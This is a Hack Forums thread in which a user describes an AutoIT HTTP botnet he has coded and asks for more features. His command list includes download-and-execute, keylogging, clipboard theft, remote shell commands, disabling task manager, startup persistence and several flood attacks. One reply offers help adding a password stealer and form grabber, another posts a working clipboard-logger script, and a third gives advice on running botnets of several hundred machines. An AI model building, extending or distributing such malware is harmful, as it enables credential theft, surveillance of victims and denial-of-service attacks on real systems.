Hack Forums
[AutoIT] Coded a Botnet - ideas on more functions to try and add? - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Coders Lounge (https://hackforums.net/forumdisplay.php?fid=5)
+---- Thread: [AutoIT] Coded a Botnet - ideas on more functions to try and add? (/showthread.php?tid=2694117)



[AutoIT] Coded a Botnet - ideas on more functions to try and add? - Ego Inc - Jul 19, 2012

Ok so over the past few days Ive been working on an http botnet in AutoIT but I'm at a loss as to what else I can add to it, it handles multiple clients, you can chose who to send the commands to etc.. Also the server hides as a service. Copies to start-up etc..

I'm looking for ideas for some different features/functions I could add?

Here's the functions it has so far:
Code
Commands
    --
    //Download & execute: -Usage:
    dl-exec:{url-here}

    //Visit a url: -Usage:
    visit-url:{url-here}

    //Get screen shot: -Usage:
    screen-shot

    //Get/clear/set clipboard: -Usage:
    clipboard:{get/clear/set:what-to-put-in-clipboard}

    //start-stop-clear keylogger, or get logs: -Usage
    keylog:{start/stop/clear/get}

    //Send message: -Usage:
    message:{title-here}:{message-here}

    //Speak to person: -Usage:
    speak:{what-to-say-goes-here}

    //Turn task manager on/off: -Usage
    task-manager:{on/off}

    //enable/disable & show/hide taskbar: -Usage
    taskbar:{1,2,3,4}
    1 - disable
    2 - enable
    3 - hide
    4 - show

    //Execute lines from the shell: -Usage:
    shell:command-to-execute-here

    //Shutdown the system: -Usage:
    shutdown

    //Kill the Bot: -Usage:
    kill

    Flood Functions [flood times are in seconds]
    --
    //SYN flood attack: -Usage:
    synflood:{ip}:{port}:{time}

    //TCP flood attack: -Usage:
    tcpflood:{ip}:{port}:{time}

    //UDP flood attack: -Usage:
    udpflood:{ip}:{port}:{time}

    //Ping flood attack: -Usage:
    pingflood:{ip}:{port}:{time}

    //HTTP flood attack: -Usage:
    httpflood:{ip}:{port}:{time}

Anyways any ideas on other functions I can try to add? and remember it can be lower level tings since I can call dll's and also use inline asm in autoIT. (btw I will be releasing this publicly in the future, just not quite yet)


* - zombieman - Oct 26, 2013

PM me or add me on Skype: zombieman31337

I think we could work out something to add a password stealer, form grabber, and other neat features.


* - team_kittenz - Oct 26, 2013

If you have a way to get files off a computer then heres a clipboard logger.
Code
#include <Clipboard.au3>
#include <File.au3>
$oldclip = ""
While 2
$i = _ClipBoard_GetData()
If $i <> "0" Then
   if $i <> $oldclip then
      _FileWriteLog(@UserProfileDir & "\clip.log", $i)
         $oldclip = $i
         EndIf
   EndIf
Sleep(1000)
WEnd



* - Stormageddon - Oct 26, 2013

If this is a IRC based or simmilar chat based, autoit will crash when the botnet gets over 500 users. (autoit can't process all the responses received quickly enough and crashes under the load.)

Just some advice from previous experience coding in autoit. Though php/http based bots should work perfectly fine.


* - zombieman - Oct 26, 2013

(Oct 26, 2013 04:35 PM)Stormageddon Wrote:  If this is a IRC based or simmilar chat based, autoit will crash when the botnet gets over 500 users. (autoit can't process all the responses received quickly enough and crashes under the load.)

Just some advice from previous experience coding in autoit. Though php/http based bots should work perfectly fine.

Yeah, I think he's talking about HTTP.

Thanks for the tip though.